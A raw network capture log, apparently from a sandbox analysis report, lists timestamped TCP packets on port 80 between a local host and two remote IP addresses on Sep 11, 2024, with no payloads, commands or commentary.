Sep 11, 2024 16:22:18.574033022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574053049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574068069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574084044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574103117 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574228048 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574242115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574256897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574278116 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574280024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574295044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574296951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574311018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574320078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574333906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574346066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574348927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574363947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574368954 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574379921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574392080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574404955 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574417114 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574578047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574593067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574608088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574629068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574637890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574724913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574739933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574754000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574784994 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574793100 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574795961 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574809074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574824095 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574830055 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574840069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574848890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574856043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574858904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574873924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574876070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574889898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574897051 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574912071 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574913979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574923038 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574929953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574945927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574959993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574965000 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574989080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575007915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575011015 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575022936 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575047016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575061083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575143099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575159073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575175047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575181961 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575191021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575196028 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575215101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575217009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575229883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575232029 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575246096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575249910 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575261116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575278044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575285912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575285912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575294971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575303078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575309992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575319052 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575325012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575335026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575340986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575349092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575356007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575364113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575371981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575388908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575398922 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575401068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575416088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575416088 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575431108 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575436115 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575448990 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575454950 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575478077 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575503111 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575510025 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575519085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575534105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575548887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575556040 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575567007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575577974 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575577974 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575581074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575587988 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575596094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575608015 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575613022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575623989 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575627089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575638056 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575643063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.575656891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.575675011 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.576001883 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.576001883 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.580945969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.583906889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.583920956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.583936930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.583960056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.583980083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.583982944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.584000111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.584014893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.584029913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.584033966 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.584052086 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.584070921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.584971905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.584985018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.584999084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.585030079 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.585046053 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.585048914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.585063934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.585078955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.585093975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.585097075 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.585114956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.585131884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.585206032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.585299015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.589920998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.589935064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.589956999 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.589970112 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.589982033 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.589983940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590004921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590010881 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590010881 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590019941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590038061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590044022 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590050936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590059042 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590079069 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590096951 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590172052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590187073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590210915 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590221882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590322971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590337038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590351105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590374947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590389967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590398073 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590404987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590415955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590420008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590430021 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590434074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590445042 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590447903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590461969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590466022 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590477943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590483904 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590492964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590500116 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590517998 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590532064 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590765953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590783119 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.590818882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.590833902 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591181040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591202021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591216087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591229916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591244936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591247082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591259003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591264963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591274977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591284037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591300011 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591320038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591417074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591428995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591443062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591458082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591471910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591480017 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591480017 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591495037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591496944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591511011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591515064 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591526031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591536045 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591540098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591548920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591556072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591566086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591569901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591597080 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591597080 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591605902 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591622114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591636896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591650009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591661930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591661930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591674089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591676950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591690063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591692924 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591706038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591737032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591737032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591746092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591748953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591763020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591775894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591795921 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591798067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.591814041 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.591852903 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.592142105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.592156887 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.592171907 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.592190981 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.592209101 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.592300892 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.592315912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.592330933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.592346907 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.592348099 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.592365980 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.592380047 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.592449903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.592498064 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.593926907 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.593947887 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.593964100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.593986034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.593992949 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594007969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594007969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594022989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594028950 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594058990 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594070911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594083071 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594085932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594100952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594106913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594115019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594127893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594129086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594136000 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594142914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594153881 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594157934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594171047 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594172001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594183922 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594187021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594197989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594217062 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594227076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594549894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594563961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594579935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594598055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594609022 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594619989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594712973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594727993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594743013 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594758034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.594765902 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594788074 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.594799042 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.598961115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.598974943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.598989010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599010944 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599020004 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599028111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599041939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599056959 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599071980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599080086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599097013 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599117041 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599246979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599293947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599308014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599323034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599337101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599339962 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599349976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599353075 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599374056 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599387884 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599458933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599478960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599493980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599499941 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599505901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599518061 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599528074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599530935 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599541903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599549055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599556923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599562883 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599571943 CEST	80	49735	147.45.44.104	192.168.2.4
